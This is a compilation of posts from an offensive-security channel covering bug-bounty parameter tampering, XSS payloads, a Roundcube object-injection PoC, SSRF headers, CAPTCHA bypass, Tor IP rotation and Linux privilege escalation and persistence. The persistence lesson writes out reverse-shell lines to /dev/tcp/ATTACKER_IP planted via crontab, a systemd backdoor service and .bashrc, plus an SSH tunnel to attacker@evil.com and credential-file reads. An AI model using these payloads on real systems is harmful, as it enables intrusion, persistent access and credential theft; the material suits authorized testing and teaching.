🕵️ 50+ Parameters Devs Actually Use (and Hunters Forget)

When you’re testing apps, don’t just fuzz id=123.
Real-world apps hide sensitive behavior behind parameters.
Try flipping, modifying, or abusing these 👇

Here’s a 🔑 list to try:

debug=true
test=1
admin=1
isAdmin=true
isPremium=true
superuser=1
role=user → flip to admin
uid=42
userid=42
account=42
profile=42
ref=partner → flip to internal
partnerId=1
affiliate=evil
redirect=/dashboard
redir=/home
url=http://evil.com
next=/secret
returnUrl=http://evil.com
callback=https://attacker.com
continue=/admin
dest=http://evil.com
theme=dark → inject HTML/JS
style=default → try <script>
view=profile → try admin
page=1 → try admin, dashboard
path=/images/1.png → SSRF/LFI candidate
file=report.pdf → ../etc/passwd
doc=123 → try higher/lower IDs
documentId=999
reportId=999
config=prod → change to dev
settings=default → try debug
mode=live → flip to test
env=production → flip to staging
stage=dev
preview=true → bypass controls
draft=1
beta=1
source=external → flip to internal
origin=trusted
cache=0 → sometimes unlocks hidden debug info
nocache=1
format=json → try xml, yaml, php
output=pdf → try json, txt
type=user → try admin or super
roleId=1
level=1 → crank to 9999
rank=1
step=1
flag=0 → flip to 1
feature=off → flip to on
module=payments → try admin
tab=users → try config
section=dashboard → try admin
action=edit → try delete
method=get → try post/put/delete
operation=read → try write/delete

⚔️ Tips for Hunters
1️⃣ Flip booleans (true/false, 0/1)
2️⃣ Change environment (prod/dev/test/stage)
3️⃣ Abuse redirects (returnUrl, callback)
4️⃣ Try role escalation (user → admin)
5️⃣ Test format conversions (json/xml/yaml/php)
6️⃣ Look for hidden environments (prod/dev/test/stage)

🔐 Defensive Note:
- Parameter fuzzing is a must in security testing — don’t assume unused params are harmless.
- Audit all query/body parameters and enforce strict allowlists — unused params often lead to privilege escalation.

👉 Follow @cybersecplayground for more payloads, tips, and bug bounty tricks.

🔗 Github | Medium
❤️ Like & Share if this helped your hunting!

#bugbounty #pentest #infosec #cybersecurity

🧠 Linux for Hackers – Day 17
📍 Secure Shell (SSH) & Tunneling Tricks

SSH is the lifeline for admins — and a powerful tool for hackers too. Today we’ll cover both hardening SSH and tunneling attacks.

🔹 SSH Basics

ssh user@target
scp file.txt user@target:/tmp/

🔹 SSH Hardening

1️⃣ Disable root login → edit /etc/ssh/sshd_config → PermitRootLogin no
2️⃣ Use key-based auth instead of passwords → ssh-keygen -t ed25519
3️⃣ Change default port(22) → Port 2222
4️⃣ Limit users → AllowUsers alice bob


🔹 Tunneling (For Attackers & Pentesters)

Local Port Forwarding:

ssh -L 8080:localhost:3306 user@target

⚡️Access remote MySQL via localhost.

Remote Port Forwarding:

ssh -R 4444:localhost:22 attacker@evil.com

⚡️Create a reverse shell-like tunnel.

Dynamic Proxy (SOCKS):

ssh -D 9050 user@target

⚡️ Route traffic via SOCKS proxy (works with proxychains).

🔥 Pentester Tip: Firewalls often allow outbound SSH on port 22 or even port 443. Attackers exploit this to bypass restrictions and pivot into internal networks.

✅ Your Task:
-Harden your SSH server by disabling root login & enforcing keys.
-Create a local port forward to access a blocked service.
-Use proxychains with SSH dynamic proxy for stealthy browsing.

Read More At Github

📢 Follow @CyberSecPlayground for more Linux hacking lessons and pentesting guides!

❤️ Dont forget to Like & Share!
#Linux_for_Hackers
#linux #hacking #pentesting #infosec #pentest

🔎 XSS Payloads Every Pentester Should Try

When hunting for XSS during pentests or bug bounty testing, sometimes the most basic payloads work — but often, you need creative variations to bypass filters and trigger execution.

Here are a few useful payloads to add to your arsenal

<img src=x onerror=alert()>
<img/src=x onerror=alert()>
<img src="x"/onerror=alert()>
<img src="x"onerror=alert()>
<img\nsrc="x"onerror=alert()>
<img src="x"> <!-- proves HTML injection -->

✅ These confirm if you can inject HTML/JavaScript via img.

<iframe srcdoc="<script>alert(document.domain)</script>"></iframe>
<iframe srcdoc="<script src=http://whitelisteddomain.com></script>"></iframe>

✅ iframe srcdoc is powerful for bypassing certain contexts — it lets you execute inline or external scripts.

👉 Always test different contexts (script, iframe, svg, input, etc.) because XSS payloads often behave differently depending on where they’re injected.

💡 Pro tip: Build your own XSS wordlist from tested payloads and use it with fuzzing tools like ffuf, dalfox, or Burp Intruder to maximize coverage.

📢 Want more payloads, bypass tricks, and real-world bug bounty methodologies?
Join @cybersecplayground and level up your hacking skills daily!

🔗 CyberSecPlayground Xss Payload list : Github

#bugbounty #xss #pentest #cybersecurity

🚀 NEW RELEASE: The Ultimate Bug Bounty Checklist! 🚀

Tired of missing critical vulnerabilities during your recon? We've got you covered!

I've just published a massive, comprehensive Web Application Security Testing Checklist on GitHub. It's designed to take you from initial recon all the way to post-exploitation, ensuring you don't miss a thing.

🔍 What's inside?

Phased approach: Recon, Config Testing, Auth, Input Validation, Business Logic & more!

Mapped to the latest OWASP Top 10 2023.

Tools recommendations and methodology.

This is your new go-to guide for structured and successful hacking.

Grab it now, contribute, and star the repo! ⭐️
👉 https://github.com/cybersecplayground/bugbounty-Tips-and-Tricks/blob/main/CheckList/Comprehensive%20Web%20Application%20Security%20Testing%20Checklist.md

#BugBounty #WebSecurity #Checklist #OSINT #PenTesting #CyberSecurity #Infosec #OWASP #GitHub

🧠 Linux for Hackers Day 18
📍 Linux Kernel & Exploit Basics

Today we dive into the Linux Kernel — the heart of the operating system — and learn why hackers and pentesters focus on kernel exploits for privilege escalation.

🔹 What is the Kernel?

The kernel is the core of Linux that manages memory, processes, devices, and system calls.
Running in ring 0 (highest privilege), it has complete control of the system.

🔹 Checking Kernel Version
Attackers often start by fingerprinting the kernel:

uname -r        # Kernel version
uname -a        # Full system info
cat /proc/version

Example output:

5.4.0-77-generic

🔹 Why Kernel Version Matters
⚡️Each version may contain known vulnerabilities.
⚡️Exploit databases (ExploitDB, GitHub PoCs, etc.) can be searched against the version.

Example:
Dirty COW (CVE-2016-5195) affects many Linux versions.
OverlayFS (CVE-2015-1328) allows privilege escalation.

🔹 Enumerating Exploitable Kernels
Use scripts like:

linux-exploit-suggester.sh
lse.sh

- These tools compare your kernel & system info with known exploits.

🔹 Compiling & Running Exploits
Most exploits come in C:

gcc exploit.c -o exploit
./exploit

⚠️ Note: Always test in lab environments (VMs, Docker) before running on real systems.

✅ Pentester Tip:
- Kernel exploits are powerful but noisy.
- Always try “safer” privilege escalation methods (misconfigs, weak perms, sudo abuse) before dropping kernel exploits.

📢 Follow @CyberSecPlayground for more daily Linux hacking lessons, privilege escalation tricks, and exploit deep dives!

💬 Like & share to support the series

🔗 Read More

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam

🚨 CVE-2025-49113 – Roundcube Post-Auth RCE

A new vulnerability was discovered in Roundcube that allows Remote Code Execution (RCE) after authentication.

🔹 Vulnerability: Object Injection via _from parameter
🔹 Exploit Path: /upload.php
🔹 Impact: Post-authenticated attackers can execute arbitrary system commands.

🧪 Proof of Concept (PoC):

POST /upload.php
Content-Type: application/x-www-form-urlencoded

_from=O:8:"Exploit":1:{s:4:"code";s:13:"system('id');";}

This payload abuses PHP object injection, leading to direct command execution. Attackers can escalate from authenticated users to full system compromise.

📖 Reference & Details:
👉 https://nullsecurityx.codes/cve-2025-49113-roundcube-rce

🔗 More info on Github

🔐 Stay updated with the latest CVEs, PoCs, and exploitation techniques on @cybersecplayground.
💬 Share this with your community to spread awareness!

#BugBounty #CyberSecurity #roundcube #CVE2025 #RCE

🧠 Linux for Hackers Day 19
📍 Linux Persistence Techniques

Today we focus on how attackers and red teamers maintain persistence on compromised Linux machines. Understanding these techniques helps both defenders and pentesters.

🔹 1. SSH Key Persistence
Attackers often add their own SSH public key to the victim’s authorized_keys.

mkdir -p ~/.ssh
echo "attacker_public_key" >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

✅ Now they can log in anytime without a password.

🔹 2. Crontab Persistence
Add a malicious job that runs on reboot:

(crontab -l ; echo "@reboot /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") | crontab -

✅This ensures a reverse shell starts whenever the system reboots.

🔹 3. Systemd Service Backdoor
Attackers can create malicious services:

cat << EOF > /etc/systemd/system/backdoor.service
[Unit]
Description=Backdoor Service

[Service]
ExecStart=/bin/bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1

[Install]
WantedBy=multi-user.target
EOF

systemctl enable backdoor.service
systemctl start backdoor.service

✅ Loads automatically at boot!

🔹 4. Bashrc/Profiles
Backdoors can be injected into .bashrc or /etc/profile.
Example:

echo "/bin/bash -i >& /dev/tcp/ATTACKER_IP/6666 0>&1" >> ~/.bashrc

🔹 5. Hidden Binary in PATH
Attackers place malicious binaries earlier in the PATH. For example:

echo 'export PATH=/home/user/.bin:$PATH' >> ~/.bashrc

If they drop a fake ls or sudo there → persistence with stealth.

✅ Pentester Tip: Always check persistence methods during post-exploitation. Defenders should monitor crontab, systemd, SSH keys, and bashrc changes.

📢 Follow @CyberSecPlayground for daily Linux hacking lessons, persistence tricks, and real-world pentesting insights!

💬 Like & share to support the series.

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam

🔓 Captcha Bypass in Web Applications

Many websites use CAPTCHAs to stop bots from abusing login, signup, or form submissions. But attackers and bug bounty hunters know: most CAPTCHAs aren’t bulletproof.

🔑 Common Bypass Techniques

1️⃣ Reusing Captcha Tokens
- Some apps don’t invalidate CAPTCHA after it’s solved once.
- You can reuse the same token for multiple requests.

2️⃣ Weak Validation (Frontend-Only)
- If the CAPTCHA is only checked in JavaScript, you can bypass it by sending requests directly to the backend.

3️⃣ Predictable / Static Captchas
- Some sites use math-based or simple image CAPTCHAs that don’t change (e.g., “2 + 3 = ?”).
- Bots can be scripted to auto-solve them.

4️⃣ OCR (Optical Character Recognition)
- With tools like tesseract-ocr or ML models, text-based image CAPTCHAs can often be broken automatically.

5️⃣ Third-Party CAPTCHA Misconfigurations
-For services like Google reCAPTCHA, if the site doesn’t verify the response with the API properly, you can bypass by sending any random token.

6️⃣ Replay Attacks
-Captcha validation response is sometimes valid for more than one request. Capture it once, replay for multiple attempts.

7️⃣ Alternate Endpoints
-Some web apps have an API endpoint (like /api/register) that skips CAPTCHA entirely.

🛠 Bug Bounty Testing Tips
🔸 Always check replayability of solved CAPTCHAs.
🔸 Try direct API calls to skip UI checks.
🔸 Inspect network requests—see if CAPTCHA is verified server-side or just frontend.
🔸 Automate with Burp Suite Intruder or custom scripts.

👉 Master tricks like this and more on @cybersecplayground 🚀
Daily drops: bug bounty techniques, payloads, and CVEs!

#BugBounty #Captcha #Bypass #Hacking #WebSecurity #CyberSecurity

🧠 Linux for Hackers – Day 20
📍 Linux Services & Daemon Exploitation

Today we explore Linux services & daemons, how to enumerate them, and how attackers abuse misconfigurations to escalate privileges or move laterally.

🔹 What Are Services/Daemons?
➖ Background processes that provide functionality (web server, database, SSH).
➖ Common daemons: sshd, httpd (Apache), mysqld, redis-server.

🔹 Enumerating Services
Check running services:

ps aux | grep root
systemctl list-units --type=service
netstat -tulnp   # List listening ports
ss -tulnp        # Modern alternative

🔹 Privilege Escalation Opportunities
➖Services running as root can be abused.
➖Misconfigured daemons may allow code execution or file writes.

Examples:
➖ Apache misconfig (/var/www/html writable by www-data → webshell ).
➖ MySQL running without password for root.
➖ Redis RCE (writing SSH key into /root/.ssh/authorized_keys).

🔹 Exploiting Weak Service Configs
➖ Writable Service Files: If /etc/systemd/system/service.service is writable, attacker can hijack it.
➖ PATH Hijacking in service definitions.
➖ LD_PRELOAD injection via misconfigured services.

🔹 Lateral Movement via Services
- Database credentials often reused across systems.

⚡️ Attackers dump configs:

cat /etc/mysql/my.cnf
cat /var/www/html/config.php

to steal creds.

✅ Pentester Tip:
➖ Always check running services for:
➖ Weak file permissions.
➖ Config files with credentials.
➖ Services bound to 0.0.0.0 (exposed externally).

📢 Follow @CyberSecPlayground for daily Linux hacking lessons, persistence tricks, and real-world pentesting insights!

💬 Like & share to support the series.

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam #Linux_Services

📌 Next.js Middleware SSRF via Header Injection

Did you know? Improperly handled headers in Next.js middleware can expose apps to SSRF (Server-Side Request Forgery) attacks.

💥 PoC Request

GET / HTTP/1.1
Host: target.com
Location: http://test.com
X-Middleware-Rewrite: http://test.com

✅ If the app blindly trusts the X-Middleware-Rewrite header, the server will fetch the attacker-controlled URL → SSRF triggered!

⚡️ Impact:
➕ Internal network access
➕ Fetching sensitive metadata (http://169.254.169.254)
➕ Potential pivot to RCE

🔍 Detection Tips:
✖️ Try injecting headers like X-Middleware-Rewrite & X-Middleware-Override.
✖️ Observe network callbacks (Burp Collaborator, Interactsh).
✖️ Look for unusual server behavior on crafted requests.

🛡 Mitigation:
▫️ Don’t trust client-supplied headers for rewrites.
▫️ Validate and sanitize all rewrite/redirect logic in middleware.
▫️ Apply SSRF protections (allowlists, block internal IP ranges).

🚀 Stay ahead of modern web exploits — follow @cybersecplayground for daily PoCs, CVEs, and bug bounty tactics.

🔗 Read full post : https://github.com/cybersecplayground/bugbounty-Tips-and-Tricks/blob/main/SSRF/nextjs-middleware-ssrf.md

#SSRF #NextJS #BugBounty #WebSecurity #cybersecplayground

⚠️ CSP members , you can always read more ( Detailed version of posts ) in Github & Medium :

🔗 https://github.com/cybersecplayground
🔗 https://medium.com/@cybersecplayground

Dont forget to follow and Give Star on github&Medium
⭐️ CyberSecPlayground Forever

🧠 Linux for Hackers – Day 21
📍 Linux Capabilities & Exploitation (Beyond SUID)

Today we dig into Linux capabilities — a granular alternative to SUID — and why misusing them can lead to powerful escalation vectors.

🔹 What are capabilities?
They break root privileges into discrete rights (e.g., CAP_NET_ADMIN, CAP_SYS_ADMIN, CAP_SETUID) that can be attached to files so that processes executing those files gain specific privileges without full root.

🔹 Why they matter to hackers
Capabilities like cap_dac_read_search, cap_net_bind_service, or cap_sys_admin can let an attacker bypass file restrictions, bind low ports, mount filesystems, or otherwise act like root — all without a SUID binary.

🔹 Quick commands

# Find files with capabilities
getcap -r / 2>/dev/null

# Check a specific file
getcap /usr/bin/ping

# Grant/remove caps (TEST ONLY)
sudo setcap cap_net_raw+ep /usr/bin/ping
sudo setcap -r /usr/bin/ping

🔹 Attack patterns to study
➖ cap_net_bind_service on a binary used to host a stealthy backdoor on port 80.
➖ cap_dac_read_search allowing reading otherwise restricted files.
➖ cap_sys_admin on a replaceable binary → serious system compromise.

🔹 Defensive checklist
➖ Audit capabilities: getcap -r /.
➖ Ensure capable binaries are owned by root and not writable by untrusted users.
➖ Use FIM + AppArmor/SELinux and prefer distro-packaged capabilities.
➖ Remove unnecessary capabilities with setcap -r.

🔗 Read Full post at GITHUB - Medium
📢 Follow @CyberSecPlayground for daily deep-dive lessons and pentest techniques.

⚠️ Ethical reminder: use these techniques only in authorized labs.

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam #Linux_Services

🔎 Automating Vulnerability Discovery

Tired of hunting manually? Let automation do the heavy lifting. 🚀
Here’s a quick workflow to find XSS, SQLi, SSRF, Open Redirects and more with just a few commands:

🛠 Steps

1️⃣ Google Dorking for PHP endpoints

site:*.company.com ext:php

2️⃣ Collect URLs + Parameters

echo https://company.com | gau | grep "?" | uro | httpx -silent > parameters.txt

3️⃣ Run Automated Fuzzing

nuclei -l parameters.txt -t fuzzing-templates

Nuclei offers robust support for fuzzing, which involves injecting unexpected or malformed data into various parts of an HTTP request to identify potential vulnerabilities. Nuclei templates are used to define these fuzzing scenarios.

⚡️ Key aspects of Nuclei fuzzing templates:
🔸 Comprehensive Fuzzing Support:
Nuclei allows fuzzing in various components of an HTTP request, including:
➕ Headers: Manipulating request headers.
➕ Cookies: Injecting payloads into cookie values.
➕ Paths: Fuzzing URL paths and parameters.
➕ Bodies: Supporting fuzzing for different body formats like JSON, XML, Form data, and Multipart/Form-Data.
➕ Query Parameters: Fuzzing values within the URL query string.

4️⃣ Profit 💰
✔️ Nuclei reports possible XSS, SQLi, SSRF, Open Redirects, and more!

🔥 Why This Works
➕ gau (GetAllURLs) → gathers archived endpoints
➕ uro → removes duplicates
➕ httpx → checks live hosts
➕ nuclei → scans for vulnerabilities using community templates

📌 Automating recon saves time & increases bug bounty success rates.
Try this workflow on your next target, and you might just hit gold. 🏆

🔗 Github | Medium

🔒 @cybersecplayground – Daily tips, payloads & PoCs.
#bugbounty #automation #xss #sqli #ssrf #recon #nuclei

⚡️ The Ultimate Cybersecurity Guide to SS7: The Internet's Secret Backdoor

Hello, hackers and learners! 👋 Welcome to a deep dive into one of the most critical yet overlooked aspects of telecommunications security. Whether you're a red teamer, blue teamer, or just a curious mind, understanding SS7 is essential because it underpins the global phone network we all rely on. This guide will break down everything you need to know, from its basic function to its terrifying vulnerabilities.

Read full post :
🔗 Github | Medium

#SS7 #Cybersecurity #TelecomSecurity #Hacking #Vulnerability #2FA #Privacy #Infosec #IoTsecurity #RedTeam #BlueTeam #cybersecplayground

🧠 Linux for Hackers – Day 22
📍 Advanced Persistence: systemd timers, user services & kernel modules

Today we cover advanced persistence attackers use and how to detect them: systemd user/system services and timers, rc.local/init scripts, autostart .desktop entries, kernel modules & DKMS, plus bootloader/firmware vectors.

Quick highlights:

➕ User-level systemd units (~/.config/systemd/user) + timers are stealthy and persistent.

➕ System-wide units in /etc/systemd/system/ give root persistence when writable.

➕ Kernel modules (insmod, DKMS) provide deep persistence but require root and are risky.

➕ GUI autostart entries and /etc/rc.local remain useful on many systems.

⚡️ Commands to practice:

systemctl --user enable --now backdoor.service
systemctl list-timers --all
getcap -r /  # (to look for capabilities discussed earlier)
lsmod; dmesg

Defense: monitor unit dirs, timer lists, module inserts, and use FIM/auditd.

📢 Follow @CyberSecPlayground for daily red-team techniques.

🔗 Read full post at GITHUB

#Linux_for_Hackers
#linux #privilegeescalation #cybersecurity #ctf #redteam #Linux_Services

📣 Weird Endpoint Behavior — What it tells you

Observed responses for GET /res-api/<ID>/...:

• /res-api/<ID>/qwertyasdf → 404 Not Found
• /res-api/<ID>/ → 403 Forbidden
• /res-api/<ID>/?anyparam → 200 OK

🧠 What this pattern suggests
➕ status is a public sub-resource (returns data).
➕ Unknown subpaths return 404 — normal routing.
➕The base path without query → 403 (auth required / forbidden).
➕Adding any query param to the base path flips it to 200 OK — indicates the backend treats the presence of query string differently (possible routing, auth bypass, or fallback behavior).

⚠️ Why this is interesting (attack surface)
➕Auth/Access bypass: If /?anyparam returns 200 while / is 403, a parameter-driven bypass might let unauthenticated users access resources.
➕Logic differences: The app may route requests differently when a query string is present (different middleware, different handler). That discrepancy can reveal misconfigurations.
➕Hidden behavior: Could be leftover debug/feature flags, permissive caching layer, or an API gateway quirk.

🛠 Quick tests to run (ethically, with permission)
➕ Try different params: ?a=1, ?debug=1, ?preview=true — see if content changes.
➕ Test HTTP methods: GET, POST, PUT, HEAD on /res-api/<ID>/?anyparam.
➕ Inspect headers returned for 200 vs 403 (cookies, auth, server, x-powered-by).
➕ Check status response for sensitive fields (IDs, emails, tokens).
➕ Attempt parameter-based escalation: ?id=<other-id>, ?user=admin.
➕ Try path normalization or encoding: /res-api/%3CID%3E/?anyparam or trailing slashes.
➕ Use Burp Repeater + Intruder to fuzz params & headers; grep for differences.
➕ Test whether query param bypass works for sensitive endpoints (write/delete actions) — only on authorized test targets.

🛡 How developers should fix this
▫️Normalize request handling: same auth logic for path/ and path/? variants.
▫️Ensure middleware/auth runs for all route variants (with or without query params).
▫️Add consistent canonicalization (redirect or 403) and document expected behaviour.
▫️Audit API gateway/proxy rules for query-string based routing.

💬 Found this useful? Follow @cybersecplayground for daily bug-hunting tips, payloads, and defensive checklists.

🔁 Share with your team — small quirks like this lead to big finds.
#bugbounty #infosec #apitesting #recon #authbypass #cybersecplayground

📣 Weird Endpoint Behavior — What it tells you

⚡️ You can also Read it on Github & Medium

⚠️ Dont Forget to Give Star and Follow our Github and Medium

1️⃣ @CyberSecPlayGround
#BugBountytips #BugBounty #endpoint #api

🐧 Tor IP Changer Setup Guide
Automate IP rotation for penetration testing and privacy

🔗 Repo: github.com/isPique/Tor-IP-Changer

🔧 Step 1: Start Tor Service
First, ensure Tor is installed and running as a background service:

sudo apt install tor          # Install Tor
sudo systemctl start tor      # Start Tor service
sudo systemctl status tor     # Verify it's running

Tor runs on SOCKS port 9050 by default
Use systemctl restart tor if you encounter connectivity issues

⚡️ Step 2: Configure Tor IP Changer
The Python script automates IP rotation by signaling Tor's control port.

1- Clone the repository:

git clone https://github.com/isPique/Tor-IP-Changer.git

2- Navigate to the project directory:

cd Tor-IP-Changer

3- Install required libraries:

pip install -r requirements.txt

4- Run the script:

sudo python3 IP-Changer.py

Control Port 9050 allows external tools to request new circuits (IP changes)
The script uses signal NEWNYM command to obtain a new exit node

🔄 Step 3: Route Traffic with ProxyChains
ProxyChains redirects any application's traffic through Tor.

🔸Edit /etc/proxychains4.conf:

dynamic_chain
proxy_dns
socks5 127.0.0.1 9050

⚡️ Usage Example:

proxychains nmap -sT target.com
proxychains firefox example.com

Works with most CLI and GUI applications
Prevents DNS leaks by routing DNS queries through Tor

💡 Pro Tips
➕ Check your IP: proxychains curl https://icanhazip.com
➕ Avoid rapid rotation: Tor may throttle requests faster than every 10 seconds
➕ Combine with VPNs or additional proxies for advanced chaining (see proxychains.conf)

⚠️ Important Notes
➕ Use only for authorized testing and legal privacy purposes
➕ Tor exit nodes may be blocked by some services
➕ No tool guarantees perfect anonymity

Like/Share if this helped! 🚀
Follow @cybersecplayground for more tool guides.

#Tor #Privacy #PenTesting #ProxyChains #CyberSecurity

🧠 Linux for Hackers – Day 23
📍 Containers & Docker

Containers share the host kernel — misconfigs are high-impact.
Understand container fundamentals (Docker), common misconfigurations, and how attackers abuse containers for privilege escalation and lateral movement. Includes detection and defensive advice. All commands and exploits should be tested only in authorized lab environments.

Quick checks:

cat /etc/os-release
ls -la /var/run/docker.sock
cat /proc/self/cgroup

- If /var/run/docker.sock is mounted → huge risk (can spawn host-root containers).

🔸 Key Docker components:
⚡️ dockerd — Docker daemon (runs on host, usually as root)
⚡️/var/run/docker.sock — Docker socket used to control Docker (highly privileged)
⚡️ Images and containers (docker images, docker ps)

🔸 Enumeration from Inside a Container
If you get a shell inside a container, enumerate to find breakout vectors:

# Basic container info
cat /etc/os-release
ps aux
env | sort
ls -la /proc/1/root  # check host mount points

# Check if Docker socket is mounted
ls -la /var/run/docker.sock

- If docker.sock is accessible, you can control the Docker daemon from inside the container (host-level impact).

⚠️ Avoid --privileged, don’t mount host root or docker.sock, run as non-root.

📖 Full write-up on GitHub & Medium

📢 Join our channel for daily Tips/Tricks & PoCs : @cybersecplayground

#containers #docker #linux #infosec #pentesting #cybersecplayground